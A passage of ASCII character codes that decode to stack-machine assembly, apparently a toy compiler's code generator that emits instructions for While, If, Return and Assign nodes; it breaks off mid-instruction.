91,51,50,52,93,10,115,117,98,32,115,112,32,115,112,32,49,10,109,97,107,101,108,105,115,116,32,98,112,91,51,51,51,93,32,91,49,48,49,44,49,49,51,44,51,50,93,10,97,100,100,32,98,112,91,51,51,52,93,32,98,112,91,51,51,51,93,32,98,112,91,55,93,10,109,97,107,101,108,105,115,116,32,98,112,91,51,51,53,93,32,91,51,50,93,10,97,100,100,32,98,112,91,51,51,54,93,32,98,112,91,51,51,52,93,32,98,112,91,51,51,53,93,10,97,100,100,32,98,112,91,51,51,55,93,32,98,112,91,51,51,54,93,32,98,112,91,55,93,10,109,97,107,101,108,105,115,116,32,98,112,91,51,51,56,93,32,91,51,50,44,52,56,93,10,97,100,100,32,98,112,91,51,51,57,93,32,98,112,91,51,51,55,93,32,98,112,91,51,51,56,93,10,112,117,115,104,32,98,112,91,51,51,57,93,10,112,117,115,104,32,48,10,99,97,108,108,32,49,50,57,54,10,112,111,112,32,98,112,91,51,51,50,93,10,115,117,98,32,115,112,32,115,112,32,49,10,106,122,32,48,32,50,48,54,50,10,109,97,107,101,108,105,115,116,32,98,112,91,51,52,48,93,32,91,49,50,52,44,49,50,52,93,10,101,113,32,98,112,91,51,52,49,93,32,98,112,91,49,93,32,98,112,91,51,52,48,93,10,106,122,32,98,112,91,51,52,49,93,32,50,48,51,54,10,112,117,115,104,32,48,10,99,97,108,108,32,49,51,53,49,10,112,111,112,32,98,112,91,51,52,50,93,10,115,117,98,32,115,112,32,115,112,32,48,10,109,111,118,32,98,112,91,57,93,32,98,112,91,51,52,50,93,10,109,97,107,101,108,105,115,116,32,98,112,91,51,52,52,93,32,91,49,48,49,44,49,49,51,44,51,50,93,10,97,100,100,32,98,112,91,51,52,53,93,32,98,112,91,51,52,52,93,32,98,112,91,55,93,10,109,97,107,101,108,105,115,116,32,98,112,91,51,52,54,93,32,91,51,50,93,10,97,100,100,32,98,112,91,51,52,55,93,32,98,112,91,51,52,53,93,32,98,112,91,51,52,54,93,10,103,101,116,32,98,112,91,51,52,56,93,32,98,112,91,51,93,32,48,10,97,100,100,32,98,112,91,51,52,57,93,32,98,112,91,51,52,55,93,32,98,112,91,51,52,56,93,10,109,97,107,101,108,105,115,116,32,98,112,91,51,53,48,93,32,91,51,50,44,52,56,93,10,97,100,100,32,98,112,91,51,53,49,93,32,98,112,91,51,52,57,93,32,98,112,91,51,53,48,93,10,112,117,115,104,32,98,112,91,51,53,49,93,10,112,117,115,104,32,48,10,99,97,108,108,32,49,50,57,54,10,112,111,112,32,98,112,91,51,52,51,93,10,115,117,98,32,115,112,32,115,112,32,49,10,109,97,107,101,108,105,115,116,32,98,112,91,51,53,51,93,32,91,49,48,49,44,49,49,51,44,51,50,93,10,97,100,100,32,98,112,91,51,53,52,93,32,98,112,91,51,53,51,93,32,98,112,91,57,93,10,109,97,107,101,108,105,115,116,32,98,112,91,51,53,53,93,32,91,51,50,93,10,97,100,100,32,98,112,91,51,53,54,93,32,98,112,91,51,53,52,93,32,98,112,91,51,53,53,93,10,103,101,116,32,98,112,91,51,53,55,93,32,98,112,91,51,93,32,49,10,97,100,100,32,98,112,91,51,53,56,93,32,98,112,91,51,53,54,93,32,98,112,91,51,53,55,93,10,109,97,107,101,108,105,115,116,32,98,112,91,51,53,57,93,32,91,51,50,44,52,56,93,10,97,100,100,32,98,112,91,51,54,48,93,32,98,112,91,51,53,56,93,32,98,112,91,51,53,57,93,10,112,117,115,104,32,98,112,91,51,54,48,93,10,112,117,115,104,32,48,10,99,97,108,108,32,49,50,57,54,10,112,111,112,32,98,112,91,51,53,50,93,10,115,117,98,32,115,112,32,115,112,32,49,10,109,97,107,101,108,105,115,116,32,98,112,91,51,54,50,93,32,91,49,48,57,44,49,49,55,44,49,48,56,44,51,50,93,10,97,100,100,32,98,112,91,51,54,51,93,32,98,112,91,51,54,50,93,32,98,112,91,55,93,10,109,97,107,101,108,105,115,116,32,98,112,91,51,54,52,93,32,91,51,50,93,10,97,100,100,32,98,112,91,51,54,53,93,32,98,112,91,51,54,51,93,32,98,112,91,51,54,52,93,10,97,100,100,32,98,112,91,51,54,54,93,32,98,112,91,51,54,53,93,32,98,112,91,55,93,10,109,97,107,101,108,105,115,116,32,98,112,91,51,54,55,93,32,91,51,50,93,10,97,100,100,32,98,112,91,51,54,56,93,32,98,112,91,51,54,54,93,32,98,112,91,51,54,55,93,10,97,100,100,32,98,112,91,51,54,57,93,32,98,112,91,51,54,56,93,32,98,112,91,57,93,10,112,117,115,104,32,98,112,91,51,54,57,93,10,112,117,115,104,32,48,10,99,97,108,108,32,49,50,57,54,10,112,111,112,32,98,112,91,51,54,49,93,10,115,117,98,32,115,112,32,115,112,32,49,10,109,97,107,101,108,105,115,116,32,98,112,91,51,55,49,93,32,91,49,48,49,44,49,49,51,44,51,50,93,10,97,100,100,32,98,112,91,51,55,50,93,32,98,112,91,51,55,49,93,32,98,112,91,55,93,10,109,97,107,101,108,105,115,116,32,98,112,91,51,55,51,93,32,91,51,50,93,10,97,100,100,32,98,112,91,51,55,52,93,32,98,112,91,51,55,50,93,32,98,112,91,51,55,51,93,10,97,100,100,32,98,112,91,51,55,53,93,32,98,112,91,51,55,52,93,32,98,112,91,55,93,10,109,97,107,101,108,105,115,116,32,98,112,91,51,55,54,93,32,91,51,50,44,52,56,93,10,97,100,100,32,98,112,91,51,55,55,93,32,98,112,91,51,55,53,93,32,98,112,91,51,55,54,93,10,112,117,115,104,32,98,112,91,51,55,55,93,10,112,117,115,104,32,48,10,99,97,108,108,32,49,50,57,54,10,112,111,112,32,98,112,91,51,55,48,93,10,115,117,98,32,115,112,32,115,112,32,49,10,106,122,32,48,32,50,48,54,50,10,109,97,107,101,108,105,115,116,32,98,112,91,51,55,56,93,32,91,55,49,44,49,48,49,44,49,49,54,93,10,101,113,32,98,112,91,51,55,57,93,32,98,112,91,49,93,32,98,112,91,51,55,56,93,10,106,122,32,98,112,91,51,55,57,93,32,50,48,53,53,10,109,97,107,101,108,105,115,116,32,98,112,91,51,56,49,93,32,91,49,48,51,44,49,48,49,44,49,49,54,44,51,50,93,10,97,100,100,32,98,112,91,51,56,50,93,32,98,112,91,51,56,49,93,32,98,112,91,55,93,10,109,97,107,101,108,105,115,116,32,98,112,91,51,56,51,93,32,91,51,50,93,10,97,100,100,32,98,112,91,51,56,52,93,32,98,112,91,51,56,50,93,32,98,112,91,51,56,51,93,10,103,101,116,32,98,112,91,51,56,53,93,32,98,112,91,51,93,32,48,10,97,100,100,32,98,112,91,51,56,54,93,32,98,112,91,51,56,52,93,32,98,112,91,51,56,53,93,10,109,97,107,101,108,105,115,116,32,98,112,91,51,56,55,93,32,91,51,50,93,10,97,100,100,32,98,112,91,51,56,56,93,32,98,112,91,51,56,54,93,32,98,112,91,51,56,55,93,10,103,101,116,32,98,112,91,51,56,57,93,32,98,112,91,51,93,32,49,10,97,100,100,32,98,112,91,51,57,48,93,32,98,112,91,51,56,56,93,32,98,112,91,51,56,57,93,10,112,117,115,104,32,98,112,91,51,57,48,93,10,112,117,115,104,32,48,10,99,97,108,108,32,49,50,57,54,10,112,111,112,32,98,112,91,51,56,48,93,10,115,117,98,32,115,112,32,115,112,32,49,10,106,122,32,48,32,50,48,54,50,10,109,97,107,101,108,105,115,116,32,98,112,91,51,57,50,93,32,91,49,49,55,44,49,49,48,44,49,48,55,44,49,49,48,44,49,49,49,44,49,49,57,44,49,49,48,44,51,50,44,49,49,49,44,49,49,50,44,49,48,49,44,49,49,52,44,57,55,44,49,49,54,44,49,49,49,44,49,49,52,44,51,50,93,10,97,100,100,32,98,112,91,51,57,51,93,32,98,112,91,51,57,50,93,32,98,112,91,49,93,10,112,117,115,104,32,98,112,91,51,57,51,93,10,112,117,115,104,32,48,10,99,97,108,108,32,51,10,112,111,112,32,98,112,91,51,57,49,93,10,115,117,98,32,115,112,32,115,112,32,49,10,109,111,118,32,98,112,91,45,50,93,32,98,112,91,55,93,10,109,111,118,32,115,112,32,98,112,10,112,111,112,32,98,112,10,114,101,116,10,109,111,118,32,98,112,91,45,50,93,32,48,10,109,111,118,32,115,112,32,98,112,10,112,111,112,32,98,112,10,114,101,116,10,112,117,115,104,32,98,112,10,109,111,118,32,98,112,32,115,112,10,97,100,100,32,115,112,32,115,112,32,56,55,10,109,111,118,32,98,112,91,49,93,32,48,10,112,117,115,104,32,98,112,91,45,51,93,10,112,117,115,104,32,48,10,108,101,110,10,112,111,112,32,98,112,91,54,93,10,115,117,98,32,115,112,32,115,112,32,49,10,108,116,32,98,112,91,55,93,32,98,112,91,49,93,32,98,112,91,54,93,10,106,122,32,98,112,91,55,93,32,50,50,54,54,10,103,101,116,32,98,112,91,56,93,32,98,112,91,45,51,93,32,98,112,91,49,93,10,109,111,118,32,98,112,91,50,93,32,98,112,91,56,93,10,103,101,116,32,98,112,91,57,93,32,98,112,91,50,93,32,48,10,109,97,107,101,108,105,115,116,32,98,112,91,49,48,93,32,91,56,55,44,49,48,52,44,49,48,53,44,49,48,56,44,49,48,49,93,10,101,113,32,98,112,91,49,49,93,32,98,112,91,57,93,32,98,112,91,49,48,93,10,106,122,32,98,112,91,49,49,93,32,50,49,51,51,10,109,111,118,32,98,112,91,51,93,32,35,50,10,103,101,116,32,98,112,91,49,51,93,32,98,112,91,50,93,32,49,10,112,117,115,104,32,98,112,91,49,51,93,10,112,117,115,104,32,48,10,99,97,108,108,32,49,51,55,52,10,112,111,112,32,98,112,91,49,50,93,10,115,117,98,32,115,112,32,115,112,32,49,10,109,111,118,32,98,112,91,52,93,32,98,112,91,49,50,93,10,112,117,115,104,32,48,10,99,97,108,108,32,49,51,48,56,10,112,111,112,32,98,112,91,49,52,93,10,115,117,98,32,115,112,32,115,112,32,48,10,109,111,118,32,98,112,91,53,93,32,98,112,91,49,52,93,10,103,101,116,32,98,112,91,49,54,93,32,98,112,91,50,93,32,50,10,112,117,115,104,32,98,112,91,49,54,93,10,112,117,115,104,32,48,10,99,97,108,108,32,50,48,55,48,10,112,111,112,32,98,112,91,49,53,93,10,115,117,98,32,115,112,32,115,112,32,49,10,109,97,107,101,108,105,115,116,32,98,112,91,49,56,93,32,91,49,48,54,44,49,50,50,44,51,50,44,52,56,44,51,50,93,10,112,117,115,104,32,98,112,91,51,93,10,112,117,115,104,32,48,10,99,97,108,108,32,49,54,50,10,112,111,112,32,98,112,91,49,57,93,10,115,117,98,32,115,112,32,115,112,32,49,10,97,100,100,32,98,112,91,50,48,93,32,98,112,91,49,56,93,32,98,112,91,49,57,93,10,112,117,115,104,32,98,112,91,50,48,93,10,112,117,115,104,32,48,10,99,97,108,108,32,49,50,57,54,10,112,111,112,32,98,112,91,49,55,93,10,115,117,98,32,115,112,32,115,112,32,49,10,109,97,107,101,108,105,115,116,32,98,112,91,50,49,93,32,91,49,48,54,44,49,50,50,44,51,50,93,10,97,100,100,32,98,112,91,50,50,93,32,98,112,91,50,49,93,32,98,112,91,52,93,10,109,97,107,101,108,105,115,116,32,98,112,91,50,51,93,32,91,51,50,93,10,97,100,100,32,98,112,91,50,52,93,32,98,112,91,50,50,93,32,98,112,91,50,51,93,10,112,117,115,104,32,35,50,10,112,117,115,104,32,48,10,99,97,108,108,32,49,54,50,10,112,111,112,32,98,112,91,50,53,93,10,115,117,98,32,115,112,32,115,112,32,49,10,97,100,100,32,98,112,91,50,54,93,32,98,112,91,50,52,93,32,98,112,91,50,53,93,10,109,97,107,101,108,105,115,116,32,98,112,91,50,55,93,32,91,98,112,91,53,93,44,98,112,91,50,54,93,93,10,109,97,107,101,108,105,115,116,32,98,112,91,50,56,93,32,91,98,112,91,50,55,93,93,10,97,100,100,32,98,112,91,50,57,93,32,35,52,32,98,112,91,50,56,93,10,109,111,118,32,35,52,32,98,112,91,50,57,93,10,106,122,32,48,32,50,50,54,51,10,103,101,116,32,98,112,91,51,48,93,32,98,112,91,50,93,32,48,10,109,97,107,101,108,105,115,116,32,98,112,91,51,49,93,32,91,55,51,44,49,48,50,93,10,101,113,32,98,112,91,51,50,93,32,98,112,91,51,48,93,32,98,112,91,51,49,93,10,106,122,32,98,112,91,51,50,93,32,50,49,57,50,10,103,101,116,32,98,112,91,51,52,93,32,98,112,91,50,93,32,49,10,112,117,115,104,32,98,112,91,51,52,93,10,112,117,115,104,32,48,10,99,97,108,108,32,49,51,55,52,10,112,111,112,32,98,112,91,51,51,93,10,115,117,98,32,115,112,32,115,112,32,49,10,109,111,118,32,98,112,91,52,93,32,98,112,91,51,51,93,10,112,117,115,104,32,48,10,99,97,108,108,32,49,51,48,56,10,112,111,112,32,98,112,91,51,53,93,10,115,117,98,32,115,112,32,115,112,32,48,10,109,111,118,32,98,112,91,51,93,32,98,112,91,51,53,93,10,103,101,116,32,98,112,91,51,55,93,32,98,112,91,50,93,32,50,10,112,117,115,104,32,98,112,91,51,55,93,10,112,117,115,104,32,48,10,99,97,108,108,32,50,48,55,48,10,112,111,112,32,98,112,91,51,54,93,10,115,117,98,32,115,112,32,115,112,32,49,10,112,117,115,104,32,48,10,99,97,108,108,32,49,51,48,56,10,112,111,112,32,98,112,91,51,56,93,10,115,117,98,32,115,112,32,115,112,32,48,10,109,111,118,32,98,112,91,53,93,32,98,112,91,51,56,93,10,109,97,107,101,108,105,115,116,32,98,112,91,51,57,93,32,91,49,48,54,44,49,50,50,44,51,50,93,10,97,100,100,32,98,112,91,52,48,93,32,98,112,91,51,57,93,32,98,112,91,52,93,10,109,97,107,101,108,105,115,116,32,98,112,91,52,49,93,32,91,51,50,93,10,97,100,100,32,98,112,91,52,50,93,32,98,112,91,52,48,93,32,98,112,91,52,49,93,10,112,117,115,104,32,35,50,10,112,117,115,104,32,48,10,99,97,108,108,32,49,54,50,10,112,111,112,32,98,112,91,52,51,93,10,115,117,98,32,115,112,32,115,112,32,49,10,97,100,100,32,98,112,91,52,52,93,32,98,112,91,52,50,93,32,98,112,91,52,51,93,10,109,97,107,101,108,105,115,116,32,98,112,91,52,53,93,32,91,98,112,91,51,93,44,98,112,91,52,52,93,93,10,109,97,107,101,108,105,115,116,32,98,112,91,52,54,93,32,91,98,112,91,52,53,93,93,10,97,100,100,32,98,112,91,52,55,93,32,35,52,32,98,112,91,52,54,93,10,109,111,118,32,35,52,32,98,112,91,52,55,93,10,103,101,116,32,98,112,91,52,57,93,32,98,112,91,50,93,32,51,10,112,117,115,104,32,98,112,91,52,57,93,10,112,117,115,104,32,48,10,99,97,108,108,32,50,48,55,48,10,112,111,112,32,98,112,91,52,56,93,10,115,117,98,32,115,112,32,115,112,32,49,10,109,97,107,101,108,105,115,116,32,98,112,91,53,48,93,32,91,49,48,54,44,49,50,50,44,51,50,44,52,56,44,51,50,93,10,112,117,115,104,32,35,50,10,112,117,115,104,32,48,10,99,97,108,108,32,49,54,50,10,112,111,112,32,98,112,91,53,49,93,10,115,117,98,32,115,112,32,115,112,32,49,10,97,100,100,32,98,112,91,53,50,93,32,98,112,91,53,48,93,32,98,112,91,53,49,93,10,109,97,107,101,108,105,115,116,32,98,112,91,53,51,93,32,91,98,112,91,53,93,44,98,112,91,53,50,93,93,10,109,97,107,101,108,105,115,116,32,98,112,91,53,52,93,32,91,98,112,91,53,51,93,93,10,97,100,100,32,98,112,91,53,53,93,32,35,52,32,98,112,91,53,52,93,10,109,111,118,32,35,52,32,98,112,91,53,53,93,10,106,122,32,48,32,50,50,54,51,10,103,101,116,32,98,112,91,53,54,93,32,98,112,91,50,93,32,48,10,109,97,107,101,108,105,115,116,32,98,112,91,53,55,93,32,91,56,50,44,49,48,49,44,49,49,54,44,49,49,55,44,49,49,52,44,49,49,48,93,10,101,113,32,98,112,91,53,56,93,32,98,112,91,53,54,93,32,98,112,91,53,55,93,10,106,122,32,98,112,91,53,56,93,32,50,50,49,53,10,103,101,116,32,98,112,91,54,48,93,32,98,112,91,50,93,32,49,10,112,117,115,104,32,98,112,91,54,48,93,10,112,117,115,104,32,48,10,99,97,108,108,32,49,51,55,52,10,112,111,112,32,98,112,91,53,57,93,10,115,117,98,32,115,112,32,115,112,32,49,10,109,111,118,32,98,112,91,52,93,32,98,112,91,53,57,93,10,109,97,107,101,108,105,115,116,32,98,112,91,54,50,93,32,91,49,48,57,44,49,49,49,44,49,49,56,44,51,50,44,57,56,44,49,49,50,44,57,49,44,52,53,44,53,48,44,57,51,44,51,50,93,10,97,100,100,32,98,112,91,54,51,93,32,98,112,91,54,50,93,32,98,112,91,52,93,10,112,117,115,104,32,98,112,91,54,51,93,10,112,117,115,104,32,48,10,99,97,108,108,32,49,50,57,54,10,112,111,112,32,98,112,91,54,49,93,10,115,117,98,32,115,112,32,115,112,32,49,10,112,117,115,104,32,48,10,99,97,108,108,32,49,51,50,54,10,112,111,112,32,98,112,91,54,52,93,10,115,117,98,32,115,112,32,115,112,32,48,10,106,122,32,48,32,50,50,54,51,10,103,101,116,32,98,112,91,54,53,93,32,98,112,91,50,93,32,48,10,109,97,107,101,108,105,115,116,32,98,112,91,54,54,93,32,91,54,53,44,49,49,53,44,49,49,53,44,49,48,53,44,49,48,51,44,49,49,48,93,10,101,113,32,98,112,91,54,55,93,32,98,112,91,54,53,93,32,98,112,91,54,54,93,10,106,122,32,98,112,91,54,55,93,32,50,50,52,52,10,103,101,116,32,98,112,91,54,57,93,32,98,112,91,50,93,32,50,10,112,117,115,104,32,98,112,91,54,57,93,10,112,117,115,104,32,48,10,99,97,108,108,32,49,51,55,52,10,112,111,112,32,98,112,91,54,56,93,10,115,117,98,32,115,112,32,115,112,32,49,10,109,111,118,32,98,112,91,52,93,32,98,112,91,54,56,93,10,109,97,107,101,108,105,115,116,32,98,112,91,55,49,93,32,91,49,48,57,44,49,49,49,44,49,49,56,44,51,50,93,10,112,117,115,104,32,35,56,10,103,101,116,32,98,112,91,55,51,93,32,98,112,91,50,93,32,49,10,112,117,115,104,32,98,112,91,55,51,93,10,112,117,115,104,32,48,10,99,97,108,108,32,56,57,10,112,111,112,32,98,112,91,55,50,93,10,115,117,98,32,115,112,32,115,112,32,50,10,97,100,100,32,98,112,91,55,52,93,32,98,112,91,55,49,93,32,98,112,91,55,50,93,10,109,97,107,101,108,105,115,116,32,98,112,91,55,53,93,32,91,51,50,93,10,97,100,100,32,98,112,91,55,54,93,32,98,112,91,55,52,93,32,98,112,91,55,53,93,10,97,100,100,32,98,112,91,55,55,93,32,98,112,91,55,54,93,32,98,112,91,52,93,10,112,117,115,104,32,98,112,91,55,55,93,10,112,117,115,104,32,48,10,99,97,108,108,32,49,50,57,54,10,112,111,112,32,98,112,91,55,48,93,10,115,117,98,32,115,112,32,115,112,32,49,10,106,122,32,48,32,50,50,54,51,10,103,101,116,32,98,112,91,55,56,93,32,98,112,91,50,93,32,48,10,109,97,107,101,108,105,115,116,32,98,112,91,55,57,93,32,91,54,57,44,49,50,48,44,49,49,50,44,49,49,52,93,10,101,113,32,98,112,91,56,48,93,32,98,112,91,55,56,93,32,98,112,91,55,57,93,10,106,122,32,98,112,91,56,48,93,32,50,50,53,53,10,103,101,116,32,98,112,91,56,50,93,32,98,112,91,50,93,32,49,10,112,117,115,104,32,98,112,91,56,50,93,10,112,117,115,104,32,48,10,99,97,108,108,32,49,51,55,52,10,112,111,112,32,98,112,91,56,49,93,10,115,117,98,32,115,112,32,115,112,32,49,10,106,122,32,48,32,50,50,54,51,10,109,97,107,101,108,105,115,116,32,98,112,91,56,52,93,32,91,49,49,55,44,49,49,48,44,49,48,55,44,49,49,48,44,49,49,49,44,49,49,57,44,49,49,48,44,51,50,44,49,49,53,44,49,49,54,44,57,55,44,49,49,54,44,49,48,49,44,49,48,57,44,49,48,49,44,49,49,48,44,49,49,54,44,51,50,44,49,49,54,44,49,50,49,44,49,49,50,44,49,48,49,93,10,103,101,116,32,98,112,91,56,53,93,32,98,112,91,50,93,32,48,10,97,100,100,32,98,112,91,56,54,93,32,98,112,91,56,52,93,32,98,112,91,56,53,93,10,112,117,115,104,32,98,112,91,56,54,93,10,112,117,115,104,32,48,10,99,97,108,108,32,51,10,112,111,112,32,98,112,91,56,51,93,10,115,117,98,32,115,112,32,115,112,32,49,10,97,100,100,32,98,112,91,56,55,93,32,98,112,91,49,93,32,49,10,109,111,118,32,98,112,91,49,93,32,98,112,91,56,55,93,10,106,122,32,48,32,50,48,55,52,10,109,111,118,32,98,112,91,45,50,93,32,48,10,109,111,118,32,115,112,32,98,112,10,112,111,112,32,98,112,10,114,101,116,10,112,117,115,104,32,98,112,10,109,111,118,32,98,112,32,115,112,10,97,100,100,32,115,112,32,115,112,32,51,48,10,109,111,118,32,98,112,91,49,93,32,48,10,112,117,115,104,32,98,112,91,45,53,93,10,112,117,115,104,32,48,10,108,101,110,10,112,111,112,32,98,112,91,52,93,10,115,117,98,32,115,112,32,115,112,32,49,10,108,116,32,98,112,91,53,93,32,98,112,91,49,93,32,98,112,91,52,93,10,106,122,32,98,112,91,53,93,32,50,51,52,53,10,103,101,116,32,98,112,91,54,93,32,98,112,91,45,53,93,32,98,112,91,49,93,10,109,111,118,32,98,112,91,50,93,32,98,112,91,54,93,10,103,101,116,32,98,112,91,55,93,32,98,112,91,50,93,32,48,10,109,97,107,101,108,105,115,116,32,98,112,91,56,93,32,91,56,55,44,49,48,52,44,49,48,53,44,49,48,56,44,49,48,49,93,10,101,113,32,98,112,91,57,93,32,98,112,91,55,93,32,98,112,91,56,93,10,106,122,32,98,112,91,57,93,32,50,50,57,55,10,103,101,116,32,98,112,91,49,49,93,32,98,112,91,50,93,32,50,10,112,117,115,104,32,98,112,91,49,49,93,10,112,117,115,104,32,98,112,91,45,52,93,10,112,117,115,104,32,98,112,91,45,51,93,10,112,117,115,104,32,48,10,99,97,108,108,32,50,50,55,48,10,112,111,112,32,98,112,91,49,48,93,10,115,117,98,32,115,112,32,115,112,32,51,10,109,111,118,32,98,112,91,45,51,93,32,98,112,91,49,48,93,10,106,122,32,48,32,50,51,52,50,10,103,101,116,32,98,112,91,49,50,93,32,98,112,91,50,93,32,48,10,109,97,107,101,108,105,115,116,32,98,112,91,49,51,93,32,91,55,51,44,49,48,50,93,10,101,113,32,98,112,91,49,52,93,32,98,112,91,49,50,93,32,98,112,91,49,51,93,10,106,122,32,98,112,91,49,52,93,32,50,51,50,48,10,103,101,116,32,98,112,91,49,54,93,32,98,112,91,50,93,32,50,10,112,117,115,104,32,98,112,91,49,54,93,10,112,117,115,104,32,98,112,91,45,52,93,10,112,117,115,104,32,98,112,91,45,51,93,10,112,117,115,104,32,48,10,99,97,108,108,32,50,50,55,48,10,112,111,112,32,98,112,91,49,53,93,10,115,117,98,32,115,112,32,115,112,32,51,10,109,111,118,32,98,112,91,45,51,93,32,98,112,91,49,53,93,10,103,101,116,32,98,112,91,49,56,93,32,98,112,91,50,93,32,51,10,112,117,115,104,32,98,112,91,49,56,93,10,112,117,115,104,32,98,112,91,45,52,93,10,112,117,115,104,32,98,112,91,45,51,93,10,112,117,115,104,32,48,10,99,97,108,108,32,50,50,55,48,10,112,111,112,32,98,112,91,49,55,93,10,115,117,98,32,115,112,32,115,112,32,51,10,109,111,118,32,98,112,91,45,51,93,32,98,112,91,49,55,93,10,106,122,32,48,32,50,51,52,50,10,103,101,116,32,98,112,91,49,57,93,32,98,112,91,50,93,32,48,10,109,97,107,101,108,105,115,116,32,98,112,91,50,48,93,32,91,54,53,44,49,49,53,44,49,49,53,44,49,48,53,44,49,48,51,44,49,49,48,93,10,101,113,32,98,112,91,50,49,93,32,98,112,91,49,57,93,32,98,112,91,50,48,93,10,106,122,32,98,112,91,50,49,93,32,50,51,52,50,10,103,101,116,32,98,112,91,50,50,93,32,98,112,91,50,93,32,49,10,109,111,118,32,98,112,91,51,93,32,98,112,91,50,50,93,10,97,100,100,32,98,112,91,50,52,93,32,98,112,91,45,52,93,32,35,49,48,10,97,100,100,32,98,112,91,50,53,93,32,98,112,91,50,52,93,32,98,112,91,45,51,93,10,112,117,115,104,32,98,112,91,50,53,93,10,112,117,115,104,32,98,112,91,51,93,10,112,117,115,104,32,48,10,99,97,108,108,32,49,56,10,112,111,112,32,98,112,91,50,51,93,10,115,117,98,32,115,112,32,115,112,32,50,10,115,117,98,32,98,112,91,50,54,93,32,48,32,49,10,101,113,32,98,112,91,50,55,93,32,98,112,91,50,51,93,32,98,112,91,50,54,93,10,106,122,32,98,112,91,50,55,93,32,50,51,52,49,10,109,97,107,101,108,105,115,116,32,98,112,91,50,56,93,32,91,98,112,91,51,93,93,10,97,100,100,32,98,112,91,50,57,93,32,98,112,91,45,51,93,32,98,112,91,50,56,93,10,109,111,118,32,98,112,91,45,51,93,32,98,112,91,50,57,93,10,106,122,32,48,32,50,51,52,49,10,106,122,32,48,32,50,51,52,50,10,97,100,100,32,98,112,91,51,48,93,32,98,112,91,49,93,32,49,10,109,111,118,32,98,112,91,49,93,32,98,112,91,51,48,93,10,106,122,32,48,32,50,50,55,52,10,109,111,118,32,98,112,91,45,50,93,32,98,112,91,45,51,93,10,109,111,118,32,115,112,32,98,112,10,112,111,112,32,98,112,10,114,101,116,10,109,111,118,32,98,112,91,45,50,93,32,48,10,109,111,118,32,115,112,32,98,112,10,112,111,112,32,98,112,10,114,101,116,10,112,117,115,104,32,98,112,10,109,111,118,32,98,112,32,115,112,10,97,100,100,32,115,112,32,115,112,32,55,49,10,112,117,115,104,32,98,112,91,45,51,93,10,112,117,115,104,32,98,112,91,45,52,93,10,109,97,107,101,108,105,115,116,32,98,112,91,53,93,32,91,93,10,112,117,115,104,32,98,112,91,53,93,10,112,117,115,104,32,48,10,99,97,108,108,32,50,50,55,48,10,112,111,112,32,98,112,91,52,93,10,115,117,98,32,115,112,32,115,112,32,51,10,109,111,118,32,98,112,91,49,93,32,98,112,91,52,93,10,109,97,107,101,108,105,115,116,32,98,112,91,54,93,32,91,98,112,91,45,53,93,44,35,50,93,10,109,97,107,101,108,105,115,116,32,98,112,91,55,93,32,91,98,112,91,54,93,93,10,97,100,100,32,98,112,91,56,93,32,35,55,32,98,112,91,55,93,10,109,111,118,32,35,55,32,98,112,91,56,93,10,109,97,107,101,108,105,115,116,32,98,112,91,49,48,93,32,91,49,49,50,44,49,49,55,44,49,49,53,44,49,48,52,44,51,50,44,57,56,44,49,49,50,93,10,112,117,115,104,32,98,112,91,49,48,93,10,112,117,115,104,32,48,10,99,97,108,108,32,49,50,57,54,10,112,111,112,32,98,112,91,57,93,10,115,117,98,32,115,112,32,115,112,32,49,10,109,97,107,101,108,105,115,116,32,98,112,91,49,50,93,32,91,49,48,57,44,49,49,49,44,49,49,56,44,51,50,44,57,56,44,49,49,50,44,51,50,44,49,49,53,44,49,49,50,93,10,112,117,115,104,32,98,112,91,49,50,93,10,112,117,115,104,32,48,10,99,97,108,108,32,49,50,57,54,10,112,111,112,32,98,112,91,49,49,93,10,115,117,98,32,115,112,32,115,112,32,49,10,112,117,115,104,32,48,10,99,97,108,108,32,49,51,48,56,10,112,111,112,32,98,112,91,49,51,93,10,115,117,98,32,115,112,32,115,112,32,48,10,109,111,118,32,98,112,91,50,93,32,98,112,91,49,51,93,10,109,97,107,101,108,105,115,116,32,98,112,91,49,52,93,32,91,93,10,109,111,118,32,35,56,32,98,112,91,49,52,93,10,109,111,118,32,98,112,91,51,93,32,48,10,112,117,115,104,32,98,112,91,45,52,93,10,112,117,115,104,32,48,10,108,101,110,10,112,111,112,32,98,112,91,49,53,93,10,115,117,98,32,115,112,32,115,112,32,49,10,108,116,32,98,112,91,49,54,93,32,98,112,91,51,93,32,98,112,91,49,53,93,10,106,122,32,98,112,91,49,54,93,32,50,52,50,50,10,112,117,115,104,32,98,112,91,45,52,93,10,112,117,115,104,32,48,10,108,101,110,10,112,111,112,32,98,112,91,49,55,93,10,115,117,98,32,115,112,32,115,112,32,49,10,115,117,98,32,98,112,91,49,56,93,32,98,112,91,49,55,93,32,98,112,91,51,93,10,115,117,98,32,98,112,91,49,57,93,32,98,112,91,49,56,93,32,49,10,103,101,116,32,98,112,91,50,48,93,32,98,112,91,45,52,93,32,98,112,91,49,57,93,10,109,97,107,101,108,105,115,116,32,98,112,91,50,49,93,32,91,57,56,44,49,49,50,44,57,49,93,10,115,117,98,32,98,112,91,50,51,93,32,48,32,98,112,91,51,93,10,115,117,98,32,98,112,91,50,52,93,32,98,112,91,50,51,93,32,51,10,112,117,115,104,32,98,112,91,50,52,93,10,112,117,115,104,32,48,10,99,97,108,108,32,49,54,50,10,112,111,112,32,98,112,91,50,50,93,10,115,117,98,32,115,112,32,115,112,32,49,10,97,100,100,32,98,112,91,50,53,93,32,98,112,91,50,49,93,32,98,112,91,50,50,93,10,109,97,107,101,108,105,115,116,32,98,112,91,50,54,93,32,91,57,51,93,10,97,100,100,32,98,112,91,50,55,93,32,98,112,91,50,53,93,32,98,112,91,50,54,93,10,109,97,107,101,108,105,115,116,32,98,112,91,50,56,93,32,91,98,112,91,50,48,93,44,98,112,91,50,55,93,93,10,109,97,107,101,108,105,115,116,32,98,112,91,50,57,93,32,91,98,112,91,50,56,93,93,10,97,100,100,32,98,112,91,51,48,93,32,35,56,32,98,112,91,50,57,93,10,109,111,118,32,35,56,32,98,112,91,51,48,93,10,97,100,100,32,98,112,91,51,49,93,32,98,112,91,51,93,32,49,10,109,111,118,32,98,112,91,51,93,32,98,112,91,51,49,93,10,106,122,32,48,32,50,51,56,57,10,109,111,118,32,98,112,91,51,93,32,48,10,112,117,115,104,32,35,49,48,10,112,117,115,104,32,48,10,108,101,110,10,112,111,112,32,98,112,91,51,50,93,10,115,117,98,32,115,112,32,115,112,32,49,10,108,116,32,98,112,91,51,51,93,32,98,112,91,51,93,32,98,112,91,51,50,93,10,106,122,32,98,112,91,51,51,93,32,50,52,53,54,10,112,117,115,104,32,98,112,91,45,52,93,10,103,101,116,32,98,112,91,51,53,93,32,35,